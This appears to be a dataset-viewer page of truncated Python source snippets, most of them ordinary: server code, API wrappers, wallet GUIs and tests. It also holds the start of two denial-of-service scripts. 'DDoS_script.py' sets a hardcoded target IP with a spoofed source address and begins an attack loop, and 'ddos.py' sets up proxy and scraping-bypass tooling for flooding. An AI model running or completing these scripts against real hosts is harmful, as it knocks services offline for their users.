source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
master.py | # -*- coding: utf-8 -*-
'''
This module contains all of the routines needed to set up a master server, this
involves preparing the three listeners and the workers needed by the master.
'''
# Import python libs
import os
import re
import time
import errno
import fnmatch
import signal
import shutil
import stat
import lo... |
__init__.py | """Python 3 API wrapper for FireServiceRota and BrandweerRooster."""
from collections import deque
import datetime
import json
import logging
import pytz
import threading
import time
from typing import Optional
import oauthlib.oauth2
import requests
from requests.exceptions import HTTPError, RequestException, Timeout
... |
installwizard.py |
from functools import partial
import threading
from kivy.app import App
from kivy.clock import Clock
from kivy.lang import Builder
from kivy.properties import ObjectProperty, StringProperty, OptionProperty
from kivy.core.window import Window
from kivy.uix.button import Button
from kivy.utils import platform
from kivy... |
real_main.py | # -*- coding: utf-8 -*-
from datetime import datetime
import sqlite3
import time
import os
import commands
import threading
from sensor import sensor
import camera
import main
import server
import kivy_gui
tccCamera = camera.camera()
def thread_cam (data):
print("entrou na thread")
main.run(t... |
mqtt2db.py | #!/usr/bin/python3
from db_ingest import DBIngest
import paho.mqtt.client as mqtt
from threading import Thread, Condition, Timer
from signal import signal, SIGTERM
from configuration import env
import traceback
import json
mqtthost = env["MQTTHOST"]
scenario = env["SCENARIO"]
dbhost = env["DBHOST"]
office = list(map(... |
scripting.py | # Utilities
#
# Copyright (c) 2012, Gustav Tiger <gustav@tiger.name>
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, c... |
file_serve.py | import socket
import tqdm
import os
from time import sleep, time
import threading
import tarfile
import json
class FileServer:
def __init__(self) -> None:
json_file = open("./config/server_setting.json")
self.judger_json = json.loads(json_file.read())
json_file.close()
self.host = ... |
api.py | import datetime
import os
from dateutil.parser import parse as parse_datestr
from flask import abort, g, Blueprint, jsonify, make_response, request
from google.auth import jwt
from typing import Dict
import multiprocessing
from trailblazer.server.ext import store
blueprint = Blueprint("api", __name__, url_prefix="/a... |
_server.py | # -*- coding: utf-8 -*-
import os
import subprocess
import sys
import threading
import time
import signal
from thriftpy.protocol import TBinaryProtocolFactory
from thriftpy.server import TThreadedServer
from thriftpy.thrift import TProcessor
from thriftpy.transport import TServerSocket, TBufferedTransportFactory
from ... |
skytracks.py | """
Tools for visualising object tracks across the night sky
"""
# std libs
from astropy.utils import lazyproperty
import functools as ftl
from PyQt5 import QtCore
from recipes.logging import LoggingMixin
import time
import inspect
import logging
import threading
import itertools as itt
from pathlib import Path
from ... |
pyfopidopt.py | import sys
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
from addict import Dict
import socket
import time, traceback
import fofopdtpidTuner as fofopdtTune
from pyGui.fomconoptimizegui import *
#gui
from pyGui import fopidoptgui, createnewfofopdtgui
#Constants
fofopdtModel = dict(K = 66.16, L = 1.93, T = ... |
coral_cv_with_data.py | #!/usr/bin/env python
#
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
keep_alive_flask.py | from flask import Flask
from threading import Thread
from flask import request
app = Flask('')
@app.route('/webhook', methods=['POST'])
def dialogflow_webhook():
req= request.get_json(silent=True, force=True)
query_result = req["queryResult"]
query_text = query_result["queryText"]
query_parameters = query_re... |
trcc_posting.py | # |-----------------------------------------------------------------------------
# | This source code is provided under the Apache 2.0 license --
# | and is provided AS IS with no warranty or guarantee of fit for purpose. --
# | See the project's LICENSE.md for details. ... |
IpAcquire.py | from config.SourceUrl import getUrl
from ip.Ip2Db import insert
import threading
import requests
from Log import log
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'
}
def acquireIp():
aUrl = getUrl()
log.info('获... |
context.py | # coding=utf-8
# Licensed Materials - Property of IBM
# Copyright IBM Corp. 2015,2019
"""
Context for submission of applications.
********
Overview
********
The main function is :py:func:`submit` to submit
a :py:class:`~streamsx.topology.topology.Topology`
to a Streaming Analytics service or IBM® Streams instance fo... |
aprastreioGtk.py | #!/usr/bin/python3
# -*- encoding: utf-8 -*-
__version__ = 1.3
import gi
gi.require_version('Gtk', '3.0')
from gi.repository import Gtk
from bs4 import BeautifulSoup
from urllib.request import urlopen
from mailcomposer import MailComposer
from threading import Thread
import os
import sys
import sqlite3
import webbro... |
master.py | import multiprocessing as mp
import psutil
from multiprocess.zmq.src.push_pull.tasksink import sink, bind as sink_bind
from multiprocess.zmq.src.push_pull.taskwork import work, bind as work_bind
def spawn():
procs = list()
sink_port = sink_bind()
sink_p = mp.Process(target=sink)
sink_p.start()
pro... |
DDoS_script.py | import threading
import socket
target = '103.74.54.48' # we can use domain name or ip address as target
port = 80 # depending on the port DDoS do different things eg. 22 -> SSH service, 80 -> Web interface
fake_ip = '182.21.20.32'
# attack method
already_connected = 0 # number of connections
def attack():
whi... |
discovery_service.py | ################################################################################
# Copyright (C) 2016-2020 Abstract Horizon
# All rights reserved. This program and the accompanying materials
# are made available under the terms of the Apache License v2.0
# which accompanies this distribution, and is available at
# http... |
helpers.py | """Supporting functions for polydata and grid objects."""
import collections.abc
import enum
import logging
import signal
import sys
import warnings
from threading import Thread
import threading
import traceback
import numpy as np
import scooby
import vtk
import vtk.util.numpy_support as nps
import pyvista
from .fil... |
logiclibrary.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Logic library to trigger tasks based on the subscribed node.
"""
import logging
import logging.config
import yaml
import coloredlogs
import threading
import json
from opcua import ua
from time import sleep
from empowerlibrary import empower_commands
from datetime impor... |
auto_analyzer_service.py | """
* Copyright 2019 EPAM Systems
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,... |
datasets.py | from flask import request
from flask_restplus import Namespace, Resource, reqparse
from flask_login import login_required, current_user
from werkzeug.datastructures import FileStorage
from mongoengine.errors import NotUniqueError
from mongoengine.queryset.visitor import Q
from threading import Thread
from google_image... |
processhandler.py | import multiprocessing
import threading
import Queue
import signal, os
import time
"""
Runs a callable with given arguments and put the results on a queue.
@param queue The queue to put the results on
@param target The callable to run
@param args Arguments for the callable
@param kwargs Keyword arguments for the cal... |
test_process.py | # -*- coding: utf-8 -*-
# Import python libs
from __future__ import absolute_import, print_function, unicode_literals
import io
import os
import sys
import threading
import time
import signal
import multiprocessing
import functools
import datetime
import warnings
# Import Salt Testing libs
from tests.support.unit imp... |
mitm_relay.py | #!/usr/bin/env python3
import sys
import socket
import ssl
import os
import requests
import argparse
import time
import string
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from select import select
BIND_WEBSERVER = ('127.0.0.1', 49999)
BUFSIZE = 4096
__prog_name__ = 'mitm_... |
measure motion time with PIR - to adafruit feed.py | # Import standard python modules
import time
import datetime
import sys
import threading
# Import GPIO Module
import RPi.GPIO as GPIO
# Import Adafruit IO Client.
from Adafruit_IO import Client
# Control of sincronization in Threads
lock = threading.RLock()
# Setup Sensor pin var
SENSOR_PIN = 5
# Setup var contro... |
dev_test_dex.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# File: example_binance_dex.py
#
# Part of ‘UNICORN Binance WebSocket API’
# Project website: https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api
# Documentation: https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api
# PyPI: https://pypi.... |
model.py | """
This module contains the `HubitModel` class which is used
for executing your calculations.
"""
# TODO: skipfun
# return value from get_many
from __future__ import annotations
import pathlib
import datetime
import hashlib
import pickle
from dataclasses import dataclass, field, fields
from typing import (
Any,... |
index.py | # coding:utf-8
import sys
import io
import os
import time
import subprocess
import re
import json
reload(sys)
sys.setdefaultencoding('utf-8')
sys.path.append(os.getcwd() + "/class/core")
import slemp
app_debug = False
if slemp.isAppleSystem():
app_debug = True
def getPluginName():
return 'mysql'
def ge... |
UI.py | # coding: utf-8
import sys
from PyQt5 import QtWidgets
from PyQt5 import uic
from PyQt5.QtCore import pyqtSlot
from run import DqnProgram
from strategy import *
from utils import data_set
import threading
import matplotlib.pyplot as plt
class Form(QtWidgets.QDialog):
def __init__(self, parent=None):
QtW... |
email.py | from threading import Thread
from flask import current_app, render_template
from flask_mail import Message
from . import mail
def send_async_email(app, msg):
with app.app_context():
mail.send(msg)
def send_email(to, subject, template, **kwargs):
app = current_app._get_current_object()
msg = Me... |
main.py | #! /bin/python3
import dearpygui.dearpygui as dpg
import os
import threading
class Main:
def start_server_app(self):
os.system("python3 server_App.py")
def start_client_app(self):
os.system("python3 client_App.py")
def main_window(self):
dpg.create_context()
with dpg.wi... |
sender.py | #! /bin/python3
import sys
import os
import uuid
from genericpath import isdir
from io import BufferedReader
from queue import Queue
import socket
import threading
from typing import Deque
from bitstring import BitArray, pack
from packet import *
from time import sleep, time_ns
global mac, q, do, tosend, s
s: socket.s... |
test_multithreads.py | import traceback
import multiprocessing
import numpy as np
from numba import cuda
from numba import unittest_support as unittest
from numba.cuda.testing import skip_on_cudasim
try:
from concurrent.futures import ThreadPoolExecutor
except ImportError:
has_concurrent_futures = False
else:
has_concurrent_futu... |
comparator.py | #
# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
exploit.py | # Exploits a pre-authentication memcpy based stack buffer overflow vulnerability
# in httpd on several devices and versions:
#
# Device Version httpd md5sum Exploit status
# AC1450 V1.0.0.36_10.0.17 c105a629d55d3f7b29d6b88e2cc6ff3a Untested
# AC1450 V1.0.0.34... |
test_httplib.py | import errno
from http import client
import io
import itertools
import os
import array
import re
import socket
import threading
import warnings
import unittest
TestCase = unittest.TestCase
from test import support
here = os.path.dirname(__file__)
# Self-signed cert file for 'localhost'
CERT_localhost = os.path.join(... |
screenshots.py | import logging
from threading import Thread
from typing import List
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QIcon, QPixmap, QCursor
from PyQt5.QtWidgets import QDialog, QLabel, QPushButton, QVBoxLayout, QProgressBar, QApplication, QWidget, \
QSizePolicy, QHBoxLayout
from waffles.api.abstract.cache imp... |
random_job3_save.py | import task_submit
from task_submit import VGGTask,RESTask,RETask,DENTask,XCETask
import random
import kubernetes
import influxdb
import kubernetes
import requests
from multiprocessing import Process
import multiprocessing
import urllib
import urllib3
import time
import os
import json
import math
import pandas as pd
im... |
msgpexec.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (c) 2022 Busana Apparel Group. All rights reserved.
#
# This product and it's source code is protected by patents, copyright laws and
# international copyright treaties, as well as other intellectual property
# laws and treaties. The product is licensed, not s... |
test_kernel.py | # coding: utf-8
"""test the IPython Kernel"""
#-------------------------------------------------------------------------------
# Copyright (C) 2013 The IPython Development Team
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#---... |
Cl0neMast3r.py | # coding: utf-8
# Coded with love and bugs by 5H311_1NJ3C706 @BLACKHAT
import os
from re import search
from requests import get
from threading import Thread
from bs4 import BeautifulSoup
from datetime import datetime
# Adding some colors to the script
end = '\033[1;m'
red = '\033[1;31m'
white = '\033[1;37m'
green = ... |
inference_images.py | """
Inference images: Extract matting on images.
Example:
python inference_images.py \
--model-type mattingrefine \
--model-backbone mobilenetv2 \
--model-backbone-scale 0.25 \
--model-refine-mode sampling \
--model-refine-sample-pixels 80000 \
--model-checkpoint "P... |
srvr_jboxd.py | import threading
import json
import time
import signal
# import os
import sys
import psutil
import socket
from cloud import JBPluginCloud
from cloud import Compute
import db
from db import JBoxUserV2, JBoxDynConfig, JBoxSessionProps, JBoxInstanceProps, is_proposed_cluster_leader
from jbox_tasks import JBoxAsyncJob, JB... |
installwizard.py | import sys
from PyQt4.QtGui import *
from PyQt4.QtCore import *
import PyQt4.QtCore as QtCore
import electrum
from electrum.i18n import _
from seed_dialog import SeedDisplayLayout, SeedWarningLayout, SeedInputLayout
from network_dialog import NetworkChoiceLayout
from util import *
from password_dialog import Passwor... |
version.py | import os
import logging
from threading import Thread
__version__ = '1.3.0'
try:
os.environ['OUTDATED_IGNORE'] = '1'
from outdated import check_outdated # noqa
except ImportError:
check_outdated = None
def check():
try:
is_outdated, latest = check_outdated('ogb', __version__)
if is_... |
py_talos.py | # -*- coding=utf-8 -*-
import os
import sys
import json
import platform
from ctypes import *
import multiprocessing
from tmsie_wrapper import TmsieWrapper
sys.path.append(os.path.join('..','..','..','..'))
from optparse import OptionParser
from src.pysie.keyword_feature_analyzer import KeywordFeatureAnalyzer
def GetSa... |
account.py | # -*- coding: utf-8 -*-
# Copyright 2014-2020 CERN
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... |
cluster_coordinator_test.py | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... |
autotaskdispatcher.py | """automated task dispatcher"""
# -*- coding:utf-8 -*-
import json
import threading
import time
import traceback
import uuid
from commonbaby.helpers import helper_time
from ..dbmanager import EDBAutomic
from datacontract import (AutomatedTask, AutotaskBack, AutotaskBatchBack,
Client, DataM... |
migration_script_v4.py | #!/usr/bin/env python3
from slickrpc import Proxy
import time
import sys
import datetime
import os
import json
import re
import platform
import threading
import calendar
# set your log directory here, make sure the directory exists. All exports and failed imports will be logged here.
# without this funds can be lost... |
synchronous_functions.py |
import pandas as pd
from ibapi.client import EClient
from ibapi.wrapper import EWrapper
import threading
import time
# If you want different default values, configure it here.
default_hostname = '127.0.0.1'
default_port = 7497
default_client_id = 10645 # can set and use your Master Client ID
# This is the main app t... |
redist_base.py | #/****************************************************************************
#* THIS file should be DUPLICATED IN BOTH *
#* Engine\Platform\Win32\CreateRedist *
#* AND OpenNI\Platform\Win32\CreateRedist *
#* ... |
data_runner.py | import multiprocessing
class DataRunnerMP:
"""
A multi-processing data runner for tensorflow
"""
def __init__(self, task_func, task_generator, input_pls, capacity=100):
self._input_pls = input_pls
self._task_func = task_func
self._task_generator = task_generator
self.cou... |
recipe_thread.py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
import threading
import time
from cookbook.util.logging import LoggerFactory
logger = LoggerFactory.getLogger(__name__)
def title():
logger.debug('# Thread')
def cook():
secs = [1.0, 2.0, 3.0]
threads = list()
# スレッド生成
count = 0
for sec in se... |
zjPlayer.py | """a simple programme which can display pics in a direction like a video"""
# input a dir path where many images are in it and display these pics in a custom speed
from __future__ import print_function
import sys
import numpy as np
import matplotlib.pyplot as plt
import os
import time, threading
def get_subfilen... |
transports.py | from abc import ABCMeta, abstractmethod
import threading
import time
import socket
from queue import Queue
import subprocess
from .logging import exception_log, debug
try:
from typing import Callable, Dict, Any, Optional, IO
assert Callable and Dict and Any and Optional and subprocess and IO
except ImportError... |
gui_log.py | #! /usr/bin/python
from dataclasses import dataclass
import multiprocessing as mp
import tkinter as tk
import sys
import rclpy
from rclpy.node import Node
from rr_interfaces import msg
from load_config import load_configuration
@dataclass
class Config:
arm_count: int
class LabelAdder:
def __init__(self, f... |
streaming_problem.py | ##
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
##
import logging
import uuid
import io
import gzip
import json
import threading
import sys
from typing import List, Union, Dict, Optional
from azure.quantum import Workspace
from azure.quantum.optimization import Term, P... |
supyprocess.py | """Processes handling helpers, imported from
https://github.com/ProgVal/Limnoria/
"""
import queue
import resource
import multiprocessing
processesSpawned = 1
class SupyProcess(multiprocessing.Process): # pragma: no cover
def __init__(self, *args, **kwargs):
global processesSpawned
processesSpawned... |
s3booster-upload-dir.py | #!/bin/env python3
'''
** Chaveat: not suitable for millions of files, it shows slow performance to get object list
ChangeLogs
- 2021.08.13
- add arguments
- adding conv_obj_name()
- 2021.08.03:
- support multiprocessing(spawn)
- fixing windows path delimeter (\)
- support compatibility of file name between ... |
ConvertToUTF8.py | # -*- coding: utf-8 -*-
import sublime, sublime_plugin
import sys
import os
if sys.version_info < (3, 0):
from chardet.universaldetector import UniversalDetector
NONE_COMMAND = (None, None, 0)
ST3 = False
else:
from .chardet.universaldetector import UniversalDetector
NONE_COMMAND = ('', None, 0)
ST3 = True
impor... |
runtests.py | #!/usr/bin/env python
from __future__ import print_function
import atexit
import os
import sys
import re
import gc
import heapq
import locale
import shutil
import time
import unittest
import doctest
import operator
import subprocess
import tempfile
import traceback
import warnings
import zlib
import glob
from context... |
trezor.py | import traceback
import sys
from typing import NamedTuple, Any, Optional, Dict, Union, List, Tuple, TYPE_CHECKING
from electrum.util import bfh, bh2u, versiontuple, UserCancelled, UserFacingException
from electrum.bip32 import BIP32Node, convert_bip32_path_to_list_of_uint32 as parse_path
from electrum import constants... |
data_handler.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import gzip
import shutil
import os
import threading
import logging_util
logger = logging_util.get_logger(__name__)
class DataHandler:
def __init__(self, config):
if config.get('bigquery'):
if config['bigquery'].get('service_account_json') and co... |
test_mp.py | #!/usr/bin/python3
from multiprocessing import Process, Queue
from queue import Empty
from typing import List
def process_batch(batch: List[str], result_list):
c = [len(x) for x in batch]
result_list.append(sum(c))
def read_batch(fd, n: int) -> List:
data_array = []
for counter in range(0, n):
... |
main.py | import os
import socket
import sys
import threading
import time
import webbrowser
from datetime import datetime
import scapy.layers.l2
from PyQt6.QtWidgets import (
QApplication, QDialog, QMainWindow, QTableWidgetItem
)
from PyQt6.uic import loadUi
from scapy.layers.inet import TCP,IP
from scapy.send... |
party.pyw | from urllib import request, parse
from urllib.parse import quote
import json
from PIL import Image, ImageFont, ImageDraw
from io import BytesIO
import pyperclip
import re
import sys
import time
import os
import base64
import tkinter as Tk
import tkinter.ttk as ttk
from tkinter import messagebox
import thr... |
main.py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# Copyright (c) 2013-2014, gamesun
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain ... |
site_tests.py | """Tests for the site module."""
#
# (C) Pywikibot team, 2008-2021
#
# Distributed under the terms of the MIT license.
#
import pickle
import random
import threading
import time
import unittest
from collections.abc import Iterable, Mapping
from contextlib import suppress
from http import HTTPStatus
import pywikibot
fr... |
text.py | import threading
from flask import Flask, request as REQUEST
from twilio.twiml.messaging_response import MessagingResponse
from weather import *
from scheduler import scheduler
# Runs scheduler() to text weather every 24h at 7:00am.
threadObj = threading.Thread(target=scheduler, daemon=True)
threadObj.start()
app = F... |
smi.py | # ============================================================================ #
# Copyright (c) 2011-2021, NVIDIA Corporation. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributi... |
trezor.py | import threading
from binascii import hexlify, unhexlify
from electrum_vtc.util import bfh, bh2u, versiontuple
from electrum_vtc.bitcoin import (b58_address_to_hash160, xpub_from_pubkey,
TYPE_ADDRESS, TYPE_SCRIPT)
from electrum_vtc import constants
from electrum_vtc.i18n import _
from el... |
pds18-node.py | #!/usr/bin/env python3
# predmet: PDS 2018/2019
# projekt: Hybridní chatovací P2P síť
# autor: Peter Šuhaj (xsuhaj02)
import socket
import sys
import threading
import os
import json
import time
import errno
import signal
import arg_parser
from my_bencode import *
BUFFSIZE = 65536
node_socket = None
# pre ul... |
xla_client_test.py | # Lint as: python3
# Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... |
execution.py | from __future__ import division, print_function
import functools
import vaex.vaexfast
import numpy as np
from vaex.utils import Timer
import vaex.events
from . import multithreading
import time
import math
# import vaex.ui.expressions as expr
from functools import reduce
import threading
import queue
import math
import... |
zh_crawler.py | # encoding=utf-8
from zh_api import ZhihuAPI
import copy
import time
import thread
import json
import os
import threading
import proxy_pool
import Queue
import traceback
import logging
id_queue = [] # 待获取的用户列表
id_dict = {} # 已获取的用户字典
error_ids = [] # 获取出错的用户列表
data_file_name = None # 数据文件名
out_file_name = None # ... |
qubit_exp.py | from auspex.log import logger
from auspex.experiment import Experiment, FloatParameter
from auspex.stream import DataStream, DataAxis, SweepAxis, DataStreamDescriptor, InputConnector, OutputConnector
import auspex.instruments
import auspex.filters
import bbndb
import numpy as np
import sys
import os
if sys.platform ==... |
amber_listener.py | #!/usr/bin/env python3
#
# AMBER Listener
import os
from time import sleep, time
import threading
import ast
from darc import DARCBase
from darc import util
class AMBERListenerException(Exception):
pass
class AMBERListener(DARCBase):
"""
Continuously read AMBER candidate files from disk and put
ca... |
test_multiprocessing.py | #!/usr/bin/env python3
#
# Unit tests for the multiprocessing package
#
import unittest
import queue as pyqueue
import time
import io
import itertools
import sys
import os
import gc
import errno
import signal
import array
import socket
import random
import logging
import struct
import operator
import test.support
imp... |
web_delta.py | import asyncio
import aiohttp
import pickle
import os
import time
import threading
from collections import namedtuple
class RateLimit:
"""
Class to provide rate limits to force specific wait times between network calls
"""
def __init__(self, seconds, minutes, hours, days):
self.seconds = s... |
MultiStickSSDwithRealSense_OpenVINO_NCS2.py | import sys
if sys.version_info.major < 3 or sys.version_info.minor < 4:
print("Please using python3.4 or greater!")
sys.exit(1)
#import pyrealsense2 as rs
import numpy as np
import cv2, io, time, argparse, re
from os import system
from os.path import isfile, join
from time import sleep
import multiprocessing as... |
test_buffer.py | import random
import threading
from unittest import TestCase
from nose.tools import eq_, ok_
from ddtrace.span import Span
from ddtrace.writer import Q
from ddtrace.buffer import ThreadLocalSpanBuffer
class TestLocalBuffer(TestCase):
"""
Tests related to the thread local buffer
"""
def test_thread_l... |
index.py | # -*- coding: utf-8 -*-
#
# Copyright (C) 2013 Vinay Sajip.
# Licensed to the Python Software Foundation under a contributor agreement.
# See LICENSE.txt and CONTRIBUTORS.txt.
#
import hashlib
import logging
import os
import shutil
import subprocess
import tempfile
try:
from threading impo... |
APL.py | # -*- coding: utf-8 -*-
"""Dyalog APL <> Python interface"""
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
from __future__ import print_function
from . import Array
from . import APLPyConnect
from . import IPC
import socket, threading, sys, types
if ... |
wallet.py | # Electrum - lightweight Bitcoin client
# Copyright (C) 2015 Thomas Voegtlin
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights t... |
worker.py | from contextlib import contextmanager
import atexit
import faulthandler
import hashlib
import inspect
import io
import json
import logging
import os
import redis
import sys
import threading
import time
import traceback
from typing import Any, Callable, Dict, Iterator, List, Optional, Tuple, Union
# Ray modules
from ra... |
discordbot.py |
import discord
import asyncio
from threading import Thread
from discord.ext.commands import Bot
import ba
from ba._general import Call
import _ba
import json
import os
import _thread
import logging
logging.getLogger('asyncio').setLevel(logging.WARNING)
client = Bot(command_prefix='!')
# client = discord.Client()
st... |
ddos.py | import requests, cfscrape, socks, os, sys, urllib, socket, random, time, threading, ssl
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# import the dependencies for each python version
if sys.version_info < (3, 0):
# Python 2.x
import httplib
import urllib2
from scap... |
train.py | #!/usr/bin/env python
import cv2
import os
import json
import torch
import numpy as np
import queue
import pprint
import random
import argparse
import importlib
import threading
import traceback
from tqdm import tqdm
from utils import stdout_to_tqdm
from config import system_configs
from nnet.py_factory import Netwo... |
test.py | # import multiprocessing as mp
# import sys
# import time
# pusher_client = pusher.Pusher(
# app_id='957271',
# key='486260c7fadf87293227',
# secret='d2ba08d29c8aa4df42ef',
# cluster='us2',
# ssl=True
# )
# sys.path.insert(1, './tools')
# from player import Player
# from game import Game
# ... |
udp.py | # Adapted from https://pymotw.com/2/socket/multicast.html
import socket
import struct
import sys
import threading
import time
from mve.utils import eprint
def register(component_name, multicast_ip='224.3.29.71', multicast_port=10000):
"""Discovers and registers with a UDP Server
Returns the IP address of the... |
ttk.py | #!/usr/bin/env python3
# MIT License
#
# Copyright (c) 2021 Eugenio Parodi <ceccopierangiolieugenio AT googlemail DOT com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restricti... |
utils.py | # Copyright 2010-2016 Josh Kearney
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agre... |
plexapp.py | import threading
import platform
import uuid
import sys
import callback
import signalsmixin
import simpleobjects
import nowplayingmanager
import util
Res = simpleobjects.Res
APP = None
INTERFACE = None
MANAGER = None
SERVERMANAGER = None
ACCOUNT = None
def init():
global MANAGER, SERVERMANAGER, ACCOUNT
im... |
lambda_executors.py | import base64
import contextlib
import glob
import json
import logging
import os
import re
import subprocess
import sys
import threading
import time
import traceback
from multiprocessing import Process, Queue
from typing import Dict, Tuple, Union
from localstack import config
from localstack.plugin import thundra
from... |
ros_master_dialog.py | from pathlib import Path
import os
import threading
from PyQt5 import uic
from PyQt5.QtWidgets import QDialog
from PyQt5.QtCore import QTimer, pyqtSignal
from qgis.core import QgsProject
from socket import error as socket_error
import rosgraph
import rospy
from ..core import TranslatorRegistry
FORM_CLASS, _ = uic... |
processes_barrier.py | #Synchronize processes with barrier – Chapter 3: Process Based Parallelism
import multiprocessing
from multiprocessing import Barrier, Lock, Process
from time import time
from datetime import datetime
def test_with_barrier(synchronizer, serializer):
name = multiprocessing.current_process().name
syn... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.